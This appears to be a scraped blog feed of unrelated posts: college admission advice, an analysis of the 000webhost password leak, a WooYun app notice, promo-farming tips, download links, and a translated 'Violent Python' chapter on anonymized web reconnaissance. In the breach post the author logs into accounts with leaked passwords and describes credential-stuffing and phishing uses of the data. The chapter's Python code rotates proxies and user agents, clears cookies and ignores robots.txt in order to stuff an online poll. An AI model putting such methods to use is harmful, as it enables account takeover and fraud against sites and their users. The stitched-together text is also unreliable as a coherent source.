,这主要是由于"有的大学综合排名高,但是在某一专业上未必强,而有的大学某专业很强,但综合排名略后" .他建议,家长可以关注各大学高考咨询时的专业介绍.而广东一些高校的就业办负责人则建议,对于面临升学选择的考生来说,各种大学排名榜,可以在大体上反映某一所大学的综合实力.对于"哪些学校是重
点" ,考生不妨参考一下"211 工程"入围高校,因为进入"211 工程" 的高校,都经过了教育部组织的严格评审,具有较强综合实力.
(三) ,非常具有实用价值的报考学校资料 1,高校投档分排名—院校调档线各省,市,区招办在投档过程中,将填报了该校志愿且成绩在批次线上的考生档案,按招投总分(高考总分与政策性照顾分值的总和)从高分到低分排序,按院校招生计划的一定比例进行第一志愿投档后,会自然形成的院校调档最低成绩标准.每一所院校都有自己的调档分数线.这条线,各省市区招办和社会各界通常称之为投档分数线,院校则称之为调(或提)档分数线;也有的地方将按 100%投档比例的称之为录取分数线,而且一般都会向社会各界予以公布. 院校调档线的产生是主要由学校的办学水平和实力以及诸多因素所决定的. 笔者认为, 这是一份非常具有实用价值的选校资料, 从某种角度上来说,比学校综合实力排名的作用还要大,理由在于: (1) ,学校综合实力排名的局限性.学校综合排名就仅仅体现学校的综合实力,而不反映其他; (2) ,高校投档分排名的直接性.高校投档(录取)分排名,它既产生于上一年高考招生过程中的投档,同时又将起作用于当年高考招生的投档过程,那么,用它来指导高考志愿填报无疑具有直接的效果性. (3) ,高校投档分排名的全面性.高考志愿填报选择学校包含了许多学校综合实力排名以外的内容, 如地区差别(发达地区与不发达地区,中心与非中心,东部与西部) ,学校
变化,专业冷热,就读心理,价值取向,就业趋势等等,而学校投档 (录取)分排名恰恰包含了这些内容,并且是它们的集中反映. , (4) 高校投档分排名的简便性. 高校投档 (录取) 分排名的资料易于收集, 几张报纸,加一份反映分数排名变动原因的表格,就算完事,真是简单方便实用.更何况我国权威部门,机构(即官方)没有发布全国高校的综合性实力排名. 但是高校投档(录取)分排名也存在三大问题,这也可能是许多考生及家长不习惯用此资料的主要原因. (1) ,高校投档录取分的分数波动非常大,经常相差十余分甚至几十分(尤其是存在"大小年" 的学校,同时,这里的分数主要指相对分数---两线差,即用学校投档分减去各地各批次录取控制分数线所得到的差值) ,那么造成学校的排名差异就非常大. ,经常有许多不同层次的学校其分数线一样, (2) 也就形成了学校投档分排名的相同. (3) ,常有层次较低的学校由于其投档分数高造成其排名靠前的不真实感.笔者认为,搜集 3~5 年的当地学校投档分排名, 就基本可以解决这几个问题或者可以减轻这几个问题存在的程度,再综合利用以上所介绍的资料就可基本达到目的.需要特别提醒广大考生及家长的是,利用高校投档(录取)分资料,要动态地去看,而不要静止地去看,切忌简单的照抄照搬.下面介绍高校投档分排名变动原因反映表, 笔者仅列出了办学所在地为湖北的高校, 而利用高校投档分资料则必须将在当地招生的全部或大部或一部分的高校投档分排名变动原因反映出来. 2,近 3~5 年心仪高校的录取分录取最低分,最高分,平均分,
备选学校一般不应少于 20 所.一般来讲,一个大学经过长期的建设和发展,在社会上以及广大考生心目中的地位和形象都是比较稳定的.大多数学校的录取分数也是比较稳定的.参考学校录取分数线, 一要结合学校的历年招生计划,二要结合本地历年一,二,三本线, 三要注意考虑大小年的因素,等等.考生应根据往年各院校的招生计划和投档线,认真分析自己可选择哪一层次的学校. 3,近 3~5 年各地各批次录取控制分数线这主要用于选择学校时预测学校录取分, 其方法将在后面的章节中详细加以介绍.
高校投档分排名变动原因反映表(分数从高到低) 1,序号 2,学校名称 3,投档分数 4,分数排名 5,变动
排名 6,两线差 7,变动原因分析 8,备注
2006 湖北高校投档分排名变动原因反映表 (理工类)
(四) ,凭想当然会吃大亏的高校先请看一篇曾在网上传得沸沸扬扬的文章: "报考大学,请先看清楚具体专业和合并情况,不能够单单看学
校的简介,很多高校出于招生的需要,刻意隐瞒了一些事实.如果报考之前不慎重,等去了再后悔,实在令人惋惜. 2000 年 4 月,※※交通大学与※※医科大学及※※财经学院合并, 组建新的※※交通大学.9 月招生时,在某些省份招生报考指南上仍用原来的介绍,只字未提合并,只不过专业有了医学相关专业,当然大家也都没在意医学, 报考了交大的理工类别, 结果录取通知书下来, 好多人却被调剂至医学专业,2000 级不完全统计,至少有 6 成以上, 其中一部分同学刚到※※医科大学就回去了, 还有一些读了一两个月就走了,大部分人还是留了下来,※※医科大学很破旧!简直无法形容! 许多人根本不想学医,无奈只好硬着头皮,五年过去了,到了保研的 9 月,学校不给开推免证明,好多同学望外校兴叹,先保本校, 结果保了两次,先来了个预保,再有一个正式的,把前面的同学大部分留了下来,还是不肯给学生开推免证明,甚至不给打成绩单,即使到外校直博,直到 9 月 30 号下午才给开,好多同学只好留在本校了! 毕业的时候,学校一个延长学制,好多同学因为四级不过,补考没过, 还有的因为实习考试没过等等被延长学制, 大概有几十个吧! " ! 在这里我们不必要对其辨别之完全真伪, 只须认定一个基本事实即可,2000 年※※交通大学招生时,在某些省份招生报考指南只字未提合并,导致有些考生被调剂到医学类专业,由此吃了大亏.为何如此说,笔者举一个事例加以说明,1999 年地处湖北的华中理工大学("211 工程"高校之一)与同济医科大学等校合并,同济医科大学
在全国医科类院校中名列前茅, 但其招生录取分多年均比华中理工大学差一个档次(大约 20 分左右),更何谈※※交通大学从综合实力上比华中理工大学(现为华中科技大学,"985 工程"高校之一)还稍强, 而※※医科大学比同济医科大学要稍差一点, 这一正一反可见其差别有多大,那么吃亏就有多大.学校在招生宣传中不提合并之事,你又能奈它若何?作为弱者只有自己对自己负责,这触目惊心的重高考 (考试) 轻报考 , (志愿填报) 的惨痛教训能否警醒许多考生及家长, 使之不再发生呢?笔者不用去了解具体的事实情况, 只看着这高校一浪高过一浪的更名潮,就可作出明确的回答:不可能.为什么有那么多的高校热衷于更改校名呢?究其原因有四个方面,其一,适应教育办学体制改变的需要.从 1997 年行业办学体制改变以来,一些为某个行业服务,带有突出学科和行业性质的高校少了.其二是高校内部学科专业调整发展的需要.难道学校更名就不带任何利益色彩吗? 否!其三是提升学校层次定位的需要.其四是解决棘手的生源问题的需要.由于把冶金,纺织,煤炭,矿业,船舶,粮食等院校,改为理工,科技,工业,金融,工程,财经等大学,把某某地级市学院改成某某省(或大区)大学后,生源马上就红火起来,因学校冷门,偏僻而导致生源不定足的尴尬局面也就得到了扭转. 正因为更改校名有如此多的好处,且立竿见影,难怪众多高校乐此不疲.果真如此吗?看看严酷的现实吧! 原武汉纺织工学院 1999 年在鄂招理科生 352 人,第一志愿填报的仅 148 人,其中达到分数线的才 37 人.该校更名为武汉科技学院
后,招生大获成功.以河南为例,该校自 2003 年起,在河南的录取线大都保持在当地批次线 30 分以上,2006 年在河南的文理科投档线分别比批次线高出 30,23 分. 山东科技大学 2006 年在鄂文,理科投档线分别高达 530 分,533 分,比二本(一)批次线还分别高出 11 分,17 分.这是一所位于青岛的二本(二)高校,1999 年由山东矿业学院与山东煤炭教育学院合并组建. 合并前两年,两所学校在很多省份都遭遇第一志愿不足的困境, 而更名后,考生报考热情直线上升,近两年尤其明显.2004 年,该校理工类在鄂投档线高出批次线 30 分,2005 年在鄂文理科投档线都高出批次 40 多分,理科投档线高达 521 分,仅比一本线低 3 分. 湖北籍学生章茜是山东科技大学日语系 2005 级学生,当初填报志愿时,她在众多学校中一眼就看中了山东科技大学. "其实当时也不怎么了解这个学校,但是看到'科技'和'大学' ,就觉得这个学校应该档次不错,如果叫原来的名字,我肯定不会报" .(此事例引自晨报网 2006.8.14 高校批量更名,考生家长犯晕) 为什么有这么多上当受骗者,前仆后继,这与其说是高校的精明与成功,还不如说是许多考生及家长的糊涂与悲哀.糊涂在于竟然上当受骗于这种"小儿科"的游戏,悲哀在于竟然为了图一时之省事, 而将十年含窗的艰辛所得付之东流.真是可悲可叹! 为了给广大考生及家长创造便利, 同时也是为了戳穿有些高校的这种"小儿科"的把戏,笔者将许多高校的前世今生披露了出来,将
许多高校的鲜为人知的东西抖露了出来, 将许多考生及家长不经意的事情公开了出来,目的就是告诉广大考生及家长,那些是凭想当然会吃大亏的高校.只要你做到解密点睛有准备,就会进退自如不吃亏.

作者: 纯情 · 2015-11-27

0x01 前言

000webhost是国外著名空间商Hosting24旗下的免费虚拟主机产品，号称“比收费虚拟主机更好用”。而确实如其所说的，该空间非常优质和稳定。而该空间提供商也见识到了中国人口之多，中国用户申请到有一定难度。他的口碑也确实不错。000webhost提供的免费服务：全能PHP空间 1.5G ，支持PHP(不支持ASP)，支持绑定顶级域名，无任何广告，独立控制面板，免费创建Mysql数据库，FTP上传下载，在线压缩解压，支持 fopen()函数。

该网站在10月27日确认了公司被黑客入侵，泄露的数据包括：用户名，邮箱，明文密码，登录IP等。

澳大利亚安全研究员Troy Hunt从匿名来源处获得了000webhost泄露的数据，并已经确定了数据的真实性。

毫无疑问000webhost的泄露事件是真实的，用户应该知情。我更希望000webhost公司能自己通知其用户信息已经泄露。

有匿名者在入侵事件发生后的第四天，公布了相关的泄露数据，笔者根据一些互联网上已经公开的信息做了一些简单的数据分析，旨在分析和探讨一旦数据被入侵了之后，会给我们带来哪些影响和危害，以及如何从中提取有利的信息和情报来应对接下来可能存在的各种损失。

0x02 数据分析

从已经泄露的数据可以发现:

泄露的用户数据大约有1500万条泄露数据包括：注册邮箱，用户名，明文密码，登录IP等

下面笔者将按照以下几个维度来简单的分析一下。

注册邮箱

以下列举了用户注册邮箱的Top 10（几乎占到了注册总数的77%）。

很容易发现Google，雅虎，还有微软依旧是最受欢迎的三大邮件服务提供商，此处很庆幸某国内邮件服务提供商并没有上榜。(注：这可能是因为这是国外网站的关系，whatever，此处不上榜没有关系，后面可能还有呢！)

以下是国内的注册邮箱的Top 5。可见，某易和QQ邮箱占据了国内注册用户的绝大部分。

接下来我们来看一下国内高校邮箱注册的Top 5。我们发现，福州大学一枝独秀，在“安全意识”（用私有的校内邮箱注册各种外部站点）上遥遥领先国内其他大学，不知道在其他的学术研究上会不会也是如此呢，很期待！

用户名

说完邮箱，现在看看用户名Top 10，很多人可能会以为这个用户名字段没什么卵用。其实不然，很多黑客可以利用这个用户名生成最常见的国外和国内的用户名字典并配合其他信息（比如：生日等）组合成更加有效的社工密码库，在暴力破解时往往能达到事半功倍的效果。因此，决不能低估用户名泄露可能会造成的潜在危害。

在上图中，我们不难发现Alex，John，David，Daniel等是相对较为常见的国外用户名，很有意思的是juan这个看似是中国人的名字也上榜了。

明文密码

看到此处，相信很多小伙伴们肯定已经不耐烦了。既然如此，那么重头戏来了：明文密码。对！你没有听错，明文密码，明文密码，明文密码（重要的东西说三遍！）。你肯定会说，这么傻x，这么不负责任，明文保存密码，我天朝很多网站都已经不这么干了，他们怎么还这样呢？事实证明，很多时候，国外的月亮并不比国内的圆！！！

先来看一组匿名者放出来的明文密码信息：

随便测试了几个，发现很多泄露的明文密码都可以登录，比如下面这个：

下面是用户登录密码的Top 10：

可见，大部分都是我们常见的弱密码，有趣的是下面这个看似无规律的密码也出现了如此多次。

YfDbUfNjH10305070

一般而言，黑客在拿到这些明文密码后，可以轻松地且有针对性的实行撞库，因此在这种情况下对于那些安全意识比较薄弱的使用同一密码登录多个站点的用户而言成功率往往比较高。

此外，黑客在拿到这些泄露的明文密码后，比如提取最常见的前1000个明文密码，配合国家信息，就可以生成一个针对不同国家的常见密码库了，这种撞库的几率将会大大提高。

在此，笔者只能如“祥林嫂”般的告诫我们的网站和普通用户们：

千万不可明文保存任何账户相关的密码信息（这是最基本的安全防护啊，亲！）千万不要在不同网站上使用同一密码并尽量保证密码的复杂性（不要嫌麻烦，必要时能减少你的损失哦！）

登录IP

说完密码，接下来咱们来分析一下登录IP。

关于IP，其实可挖掘的信息就非常多了，比如：

结合登录IP和用户名得到不同国家和地区的常见用户名，可生成有效的的暴力破解字典库结合登录IP和密码得到不同国家和地区的常见账户密码，可生成强针对性的撞库密码库结合登录IP和注册邮箱得到不同国家和地区的常用邮箱，可进行针对性的钓鱼

以上提及的是黑客可以挖据和利用的信息，相反地，作为我们企业的应急响应人员或者国家的公安机关在调查案件时可以同样获取一些有价值的线索，比如：

根据登录IP加强同一国家和地区的客户的账户异常监控和预警根据登录IP查看自身网站是否有相同IP的客户群体，并通知其注意账户安全根据登录IP通知同一国家和地区的客户防范潜在的网络诈骗，比如：联合区域的通信运营商向客户们发送防范网络诈骗的通知短信等等

0x03 小结

如今的互联网世界，随着黑客技术的提高，黑客工具的智能化和批量化，以及企业自身对安全事件的漠视态度，已经让黑客攻击的成本越来越低，各种数据泄漏的事件层出不穷。笔者在此只是写了一下自己的一点拙见，希望能从已经泄露的数据中去挖掘和提取出一些有用的信息，从而做好有效地应对和处置来尽量避免和减少可能的损失和危害。本人水平有限，分析不足之处，还望见谅！

相关链接：
http://www.freebuf.com/news/83363.html

作者: 纯情 · 2015-11-27

咳咳，第一次发帖诚惶诚恐。

欢迎大家进入本期也是首期的【乌云安全中心快报】。#本快报将不定期更新乌云安全中心的最新消息#

------------------
今天的主要内容有：乌云安全中心 APP ，乌云安全中心 APP iOS 1.5版，乌云安全中心 APP iOS 1.5 版上线了。

下载地址戳 ——这里

下面进入详细内容：
------------------

之前收到反馈邮件，有白帽子问道为什么没在 Zone 提乌云安全中心的事。好的，其实我们会提的，我们现在就提！

为什么选在这个时候才提乌云安全中心？因为我只有在变得更好的时候出现你才会喜欢我啊！
所以啊，之前沉默的几个月，我们都在努力让乌云安全中心「变好」。

那么说正题，我们变好了，究竟怎么个变好法啊？

#1 更轻盈流畅的界面体验

界面我们做了重设计，只希望给各位带来更轻盈的视觉体验。同时也遵照 iOS Human Interface Guidelines 也就是 iOS 原教义行事。减少不必要的设计。

#2 也许是移动端最好的乌云漏洞订阅方式

以前只能在网页上看乌云漏洞，而现在随时随地都可以看漏洞了，而且是只看你关注的厂商漏洞。

你可添加所在的厂商或者合作厂商为「我的厂商」（注意数量仅限 3 个），那么这些厂商有新漏洞就会出现在气象台当中影响着你的天气状况，同时在第一时间推送给你，你便可以立刻把你的厂商漏洞分发给你的下属或者同事让他们立即修复啦。

当然你还可以在「关注厂商」里添加其他你感兴趣的厂商，看其他厂商的漏洞，学习别人的好思路，也杜绝自己出相同的漏洞。这些厂商的漏洞就会进入到你的关注时间线，不用担心这些漏洞不会推送打扰你，也不会影响乌云气象台的天气状态。
#

#3 安全资讯全新设计，资讯内容更丰富精彩

在这个板块，你可以充分利用碎片时间，了解业界资讯。
一篇文章太长不知值不值得细看，你可以先看看乌云导读，没时间细读也能获悉内容关键信息，对内容感兴趣继续细看也无妨。
#

#4 新增资讯和漏洞评论功能，憋在心里的观点槽点终于可以说出来了

当然，我们鼓励认真以及友善的交流氛围。互相交流才能集思广益获得成长。
欢迎大家在安全中心多多交流心得，能写出精彩的评论也是一种智慧呀。
#

#5 好漏洞好文章一键收藏，轻松储备自己的知识库
#

#6 良心！

说到良心，我想作为一个 App 的良心就是「克制」。所以乌云安全中心无论是内容还是设计还是在技术的执行上都会尽量去做到「克制」，并坚决抵制一切对用户数据以及隐私权限的滥用。并且会遵照各操作系统的「原教义」恩，也就是规范进行设计。

------------------------------------------------------------------------------------
我们的好，差不多就说到这里，更多的「好」，还要我们多多相处你才能发掘呀。^ ^ ///
------------------------------------------------------------------------------------

最后说说可能遇到的不足，乌云安全中心作为一个全新的 app ，处于初期阶段必然会有很多需要不断完善的地方，无论设计、功能还是性能。恩，也就是还有很大的上升空间！

所以如果大家在使用中遇到什么有疑惑的地方，遇到 bug 或者有什么想吐槽的地方又或者是好建议都请尽管说出来。
你可以通过乌云安全中心【个人中心】—【意见反馈】告诉我们，也可以直接反馈至 app_feedback@wooyun.org

-------------------------------------------------------------
好，本期的乌云安全中心快报，差不多就这些了，咱们下次再会。
-------------------------------------------------------------

对了，再补充一句：别忘了主题，乌云安全中心 iOS V1.5 下载戳 — 这里

作者: 纯情 · 2015-11-14

这个活动是注册送的，然后已经注册过的手机号码，将不能撸了。

文档已经很详细了，不懂的再问我吧。补充一下，一个地址不要同时撸几个，因为这个要审核的，你同时撸他可以不给你发货的，还有就是做人太贪。

补充：很多人说活动黄了，要绑定银行卡什么的，只要你按照教程操作，不要提现和退款就不用绑定银行卡的，楼主已经到了2个U盘一个手机高清3D放大器，不会的就不要说黄了没用了好吗？

下图是楼主撸到的，不相信的直接关闭，我没有逼你看，更没有逼你相信我。那都是你的事情。链接: http://pan.baidu.com/s/1i3feX4h 密码: 9779

作者: 纯情 · 2015-11-14

课程目录：
微信营销特训营-第0课（公开课）-三寿-微信营销真相
微信营销特训营-第1课-良辰-打开微营销的大门（上）
微信营销特训营-第2课-良辰-打开微营销的大门（下）
微信营销特训营-第3课-三寿-微信公众平台的定位
微信营销特训营-第4课-三寿-微信公众号的内容运营
微信营销特训营-第5课-三寿-微信账号的快速增粉攻略
微信营销特训营-第6课-三寿-如何玩转微信活动
微信营销特训营-第7课-三寿-团队建设与数据分析
微信营销特训营-第8课-海浪-朋友圈模式解析
微信营销特训营-第9课-海浪-朋友圈运营指南

http://pan.baidu.com/s/1o6BxmcU

密码: k54a

作者: 纯情 · 2015-11-01

武术秘籍分享给大家了

http://pan.baidu.com/s/1mgNDbde

易语言教程
http://pan.baidu.com/s/1qWKNcLm
http://pan.baidu.com/s/1mglJucw
http://pan.baidu.com/s/1i3It48H
http://pan.baidu.com/s/1sjKLa5B
http://pan.baidu.com/s/1i3fJMZz
http://pan.baidu.com/s/1mgxUASw
http://pan.baidu.com/s/1jGtUSaa
http://pan.baidu.com/s/1eQ4Sw2e
http://pan.baidu.com/s/1i3rVd0x
http://pan.baidu.com/s/1c0EzSbe
http://pan.baidu.com/s/1dD2SA4p
http://pan.baidu.com/s/1eQJL3pg

作者: 纯情 · 2015-11-01

◎译　　名　蜀山战纪第二季/剑侠传奇
◎片　　名　蜀山战纪之剑侠传奇
◎年　　代　2015
◎国　　家　中国大陆
◎类　　别　武侠/古装
◎语　　言　汉语普通话
◎上映日期　2015-09-22(中国大陆)
◎豆瓣评分　6.6/10 from 837 users
◎集　　数　10
◎片　　长　43分钟
◎导　　演　黄伟杰
◎主　　演　陈伟霆 William Chan
　　　　　　赵丽颖 Liying Zhao
　　　　　　吴奇隆 Nicky Wu
　　　　　　叶祖新 Zuxin Ye
　　　　　　刘思彤 Sitong Liu
　　　　　　樊少皇 Siu-Wong Fan
　　　　　　文咏珊 Janice Man
◎简　　介
　　昆仑派一直是江湖第一名门正派，一直领导武林多年。昆仑掌门李景天为保天下，对抗企图抢夺血晶石的绿袍老祖，把血晶石打入天赋秉异的丁引体内，丁引由此拜入蜀山门下修习剑法，誓要练成昆仑绝学，替天下百姓向绿袍老祖寻仇。偶然间，丁引发现绿袍之女玉罗刹竟然与他逝去的爱妻长得一模一样，二人坠入情网。此时，昆仑剑派内部亦暗流涌动，一场武林浩劫即将来临。丁引联合同门丹辰子、李紫英、周青云及结拜兄弟小张，历经艰难险阻，不想却陷入更大的阴谋，令众人分崩离析。丁引为救众生，牺牲自己，与敌绿袍老祖同归于尽；玉罗刹伤心欲绝，独自流浪天涯，完成丁引心愿，造福众生。丹辰子独自留在了昆仑，接任昆仑剑派掌门，江湖也等着昆仑派一众去合力行侠仗义，拯救天下苍生。

作者: 纯情 · 2015-10-31

连载介绍信息:http://zone.wooyun.org/content/23138

原作者：Chris Katsaropoulos

第一译者：@草帽小子-DJ

第二译者：crown丶prince

第六章：WEB侦查 本章内容：

1.使用Mechanize匿名浏览互联网

2.Python使用Beautiful Soup映射WEB元素

3.使用Python与Google交互

4.使用Python和Twitter交互

5.自动钓鱼

在我生命的八十七年中，我亲眼目睹了技术革命的演替。但却没有人完成了人的思考和需要这一问题。 —Bernard M. Baruch 美国第28到第32任总统的顾问

简介：今天的社会工程学 2010年，两个大规模的网络攻击改变了我们对网络战的理解。先前我们在第四章讨论过极光行动。在极光行动攻击中，瞄准了多个跨国的公司，雅虎，赛门铁克，Adobe等还有一些Google账户。华盛顿邮报报道这是一个新的有着先进水平的攻击。Stuxnet，第二次攻击，针对SCADA系统，特别是那些在伊朗的。网络维护者应该关注该蠕虫的发展，这是一个比极光行动更加先进和成熟的蠕虫攻击。尽管这两个网络攻击非常复杂，但他们有一个共同的关键点：他们的传播，至少部分是通过社会工程学传播的。不管多么复杂的和致命的网络攻击增加有效的社会工程学会增加攻击的有效性。在下面的章节中，我们将研究如何使用使用Python来实现自动化的社会工程学攻击。在进行任何操作之前，攻击者应该有目标的详细信息，信息越多攻击的成功的机会越大。概念延伸到信息战争的世界。在这个邻域和当今时代，大部分所需的信息可以在互联网上找到，由于互联网庞大的规模，遗漏重要信息的可能性很高。为了防止信息丢失，计算机程序可以自动完成整个过程。Python是一个很好的执行自动化任务的工具，大量的第三方库允许我们轻松的和互联网，网站进行交互。

攻击之前的侦查 在本章中，我们通过程序对目标进行侦查。在这个发面关键是确保我们收集更多的信息量，而不被警惕性极高，能干的公司总部的网络管理员检测到。最后我们将看看如何汇总数据允许我们发动高度复杂的个性化的社会工程学攻击。确保在应用任何这些技术之前询问了执法官员和法律的意见。我们在这展示攻击和用过的工具是为了更好的理解他们的做法和知道如何在我们的生活中如何防范这种攻击。

使用Mechanize库浏览互联网 典型的计算机用户依赖WEB浏览器浏览网站和导航互联网。每一个站点都是不同的，可以包含图片，音乐和视频中的各种各样的组合。然而，浏览器实际上读取一个文本类型的文档，理解它，然后将他显示给用户，类似于一个Python程序的源文件和Python解释器的互动。用户可以使用浏览器访问站点或者使用不同的方法浏览他们的源代码。Linux下的我wget程序是个很受欢迎的方法。在Python中，浏览互联网的唯一途径是取回并下载一个网站的HTML源代码。有许多不同的库已经已经完成了处理WEB内容的任务。我们特别喜欢Mechanize，你在前几章已经用过。Mechanize：http://wwwsearch.sourceforge.net/mechanize/。 Mechanize主要的类Browser，允许任何可以在浏览器是上进行的操作。这个类也有其他的有用的方法是程序变得更简单。下面脚本演示了Mechanize最基本的使用：取回一个站点的源代码。这需要创建一个浏览器对象，然后调用open()函数。

import mechanizedef viewPage(url): browser = mechanize.Browser() page = browser.open(url) source_code = page.read() print(source_code) viewPage('http://www.syngress.com/')

运行这个脚本，我们看到它打印出www.syngress.com首页的HTML代码。

recon:∼# python viewPage.py <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Syngress.com - Syngress is a premier publisher of content in the Information Security field. We cover Digital Forensics, Hacking and Penetration Testing, Certification, IT Security and Administration, and more. </title> <meta name="description" content="" /><meta name="keywords" content="" /> <..SNIPPED..>

我们将使用mechanize.Browser类来构建脚本，在本章中浏览互联网。但是你不会受它的约束，Python提供了几个不同的方法浏览。这章使用Mechanize由于他提供了特殊的功能。John J. Lee设计的Mechanize提供可状态编程，简单的HTML表格和方便的解析和处理，例如HTTP-Equiv这样的命令和刷新。此外，它提供给你的内在对象是匿名的。这一切都会在下面的章节中用到。 匿名---增加代理，用户代理和Cookies 现在我们有从互联网获取网页内容的能力，退一步想想接下来的处理很有必要。我们的程序和在浏览器中打开一个网站没有什么不同，因此，我们应该采取同样的步骤在正常的浏览网页时建立匿名。网站查找唯一标识符来识别网页游客有几种不同的方法。第一种方法是通过记录请求的IP来确认用户。这可以通过使用虚拟专用网络(VPN)或者tor网络来缓和。一旦一个客户连接到VPN，然后，所有的将通过VPN自动处理。Python可以连接到代理服务器，给程序添加匿名功能。Mechanize的Browser类可以指定一个代理服务器属性。简单的设置浏览器代理是不够巧妙的。有很多的免费的代理网络，所以用户可以进去选择它们，通过它们的功能浏览。在这个例子中，我们选择http://www.hidemyass.com/的HTTP代理。在你读到这里的时候这个代理很有可能已经不工作了。所以去这个网站得到使用不同HTTP代理的细节。此外，McCurdy维护了一个很好的代理列表在网站：http://rmccurdy.com/scripts/proxy/good.txt。我们将测试我们的代理访问NOAA网站，它会友好的告诉你访问该网站时你的IP地址。

import mechanize def testProxy(url, proxy): browser = mechanize.Browser() browser.set_proxies(proxy) page = browser.open(url) source_code = page.read() print source_code url = 'http://ip.nefsc.noaa.gov/' hideMeProxy = {'http': '216.155.139.115:3128'} testProxy(url, hideMeProxy)

虽然识别HTML源代码有一点困难，我们看到该网站人为我们的IP地址是216.155.139.115，我们的代理，成功！我们继续构建脚本。

recon:∼# python proxyTest.py <html><head><title>What's My IP Address?</title></head> <..SNIPPED..> <b>Your IP address is...</b></font><br><font size=+2 face=arial color=red> 216.155.139.115</font><br><br><br><center> <font  size=+2face=arial color=white> <b>Your hostname appears to be...</b></ font><br><font size=+2 face=arial color=red> 216.155.139.115. choopa.net</font></font><font color=white <..SNIPPED..>

我们现在有一个简单的匿名浏览器。站点使用浏览器的user-agent字符串来识别唯一用户另一种方法。在正常情况下，user-agent字符串让网站知道关于浏览器的重要信息能制作HTML代码给用户更好的体验。然而，这些信息柏包含内核版本，浏览器版本，和其他关于用户的详细信息。恶意网站利用这些信息针对特定的浏览器进行精密的渗透利用，而其他网站利用这些信息来区分电脑是位与NAT网络还是私有网络。最近，一个丑闻被爆出，一个旅游网站利用user-agent字符串来检测MacBook用户并提供更昂贵的选择。幸运的是，Mechanize改变user-agent字符串和改变代理一样简单。网站：http://www.useragentstring.com/pages/useragentstring.php为我们展示了一个巨大的有效的user-agent字符串名单供我们选择。我们将编写一个脚本来测试改变我们的user-agent字符串访问http://whatismyuseragent.dotdoh.com/来打印出我们的user-agent字符。

import mechanize def testUserAgent(url, userAgent): browser = mechanize.Browser() browser.addheaders = userAgent page = browser.open(url) source_code = page.read() print(source_code) url = 'http://whatismyuseragent.dotdoh.com/' userAgent = [('User-agent','Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01')] testUserAgent(url, userAgent)

运行这个脚本，我们看到我们可以用虚假的user-agent字符串来访问页面。

recon:∼# python userAgentTest.py <html> <head> <title>Browser UserAgent Test</title> <style type="text/css"> <..SNIPPED..> <p><a href="http://www.dotdoh.com" target="_blank"><img src="logo. gif" alt="Logo" width="646" height="111" border="0"></a></p> <p><h4>Your browser's UserAgent string is: <span class="style1"><em>Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01</em></span></h4> </p> <..SNIPPED..>

最后，网站会返回一些包含独特标识的cookie给WEB浏览器允许网站识别重复的重复的访客。为了防止这一点，我们将执行其他函数从我们的WEB浏览器中清除cookie。另外一个Python标准库cookielib包含几个处理不同类型cookie的容器。这里使用的cookie类型包含储存各种不同的cookie到硬盘的功能。这个功能允许用户查看cookies而不必在初始化后返回给网站。让我们建立一个简单的脚本使用CookieJar来测试。我们将打开http://www.syngress.com页面作为我们的第一个例子。但现在我们打印浏览会话存储的cookie。

import mechanize import cookielib def printCookies(url): browser = mechanize.Browser() cookie_jar = cookielib.LWPCookieJar() browser.set_cookiejar(cookie_jar) page = browser.open(url) for cookie in cookie_jar: print(cookie) url = 'http://www.syngress.com/' printCookies(url)

运行这个脚本，我们可以看到来自网站的session id的cookie。

recon:∼# python printCookies.py <Cookie _syngress_session=BAh7CToNY3VydmVudHkiCHVzZDoJbGFzdCIAOg9zZYNzaW9uX2lkIiU1ZWFmNmIxMTQ5ZTQxMzUxZmE2ZDI1MSBlYTA4ZDUxOSIKZmxhc2hJQzonQWN0aW8uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA%3D%3D--f80f741456f6c0dc82382bd8441b75a7a39f76c8 forwww.syngress.com/>

最终封装我们的代码为Python类 已经有了几个功能，将浏览器作为参数，修改它，偶尔添加一个额外的参数。如果将这些添加到一个类里面将很有用，这些功能可以归结为一个浏览器对象简单的调用，而不是导入我们的函数到某个文件使用笨拙的语法调用。我们我们这么做可以扩展Browser类，我们的新Browser类将会有我们已经创建过的函数，以及初始化的附加功能。这将有利于提高代码的可读性，并封装所有的功能在Browser类中直接处理。

 import mechanize, cookielib, random, time class anonBrowser(mechanize.Browser): def __init__(self, proxies = [], user_agents = []): mechanize.Browser.__init__(self) self.set_handle_robots(False) self.proxies = proxies self.user_agents = user_agents + ['Mozilla/4.0 ', 'FireFox/6.01','ExactSearch', 'Nokia7110/1.0'] self.cookie_jar = cookielib.LWPCookieJar() self.set_cookiejar(self.cookie_jar) self.anonymize() def clear_cookies(self): self.cookie_jar = cookielib.LWPCookieJar() self.set_cookiejar(self.cookie_jar) def change_user_agent(self): index = random.randrange(0, len(self.user_agents)) self.addheaders = [('User-agent', (self.user_agents[index]))] def change_proxy(self): if self.proxies: index = random.randrange(0, len(self.proxies)) self.set_proxies({'http': self.proxies[index]}) def anonymize(self, sleep = False): self.clear_cookies() self.change_user_agent() self.change_proxy() if sleep: time.sleep(60)

我们的新类有一个默认的user-agents列表，接受列表添加进去，以及用户想使用的代理服务器列表。它还具有我们先前创建的三个功能，可以单独也可以同时使用匿名函数。最后，anonymize提供等待60秒的选项，增加在服务器日志请求访问之间的时间。同时也不改变提供的信息，该额外的步骤减小了被识别为相同的源地址的机会。增加时间和模糊的通过安全是一个道理，但是额外的措施是有帮助的，时间通常不是一个问题。另一个程序可以以相同的方式使用这个新类。文件anonBrowser.py包含新类，如果想在导入调用是看到它，我们必须将它保存在脚本的目录。让我们编写我们的脚本，导入我们的新类。我有一个教授曾将帮助他四岁的女儿在线投票竞争小猫冠军。由于投票是在会话的基础上的，每个游客的票需要是唯一的。我们来看看是否我们能欺骗这个网站给予我们每次访问唯一的cookie。我们将匿名访问该网站四次。

from anonBrowser import * ab = anonBrowser(proxies=[],user_agents=[('User-agent','superSecretBroswer')]) for attempt in range(1, 5): ab.anonymize() print('[*] Fetching page') response = ab.open('http://kittenwar.com') for cookie in ab.cookie_jar: print(cookie)

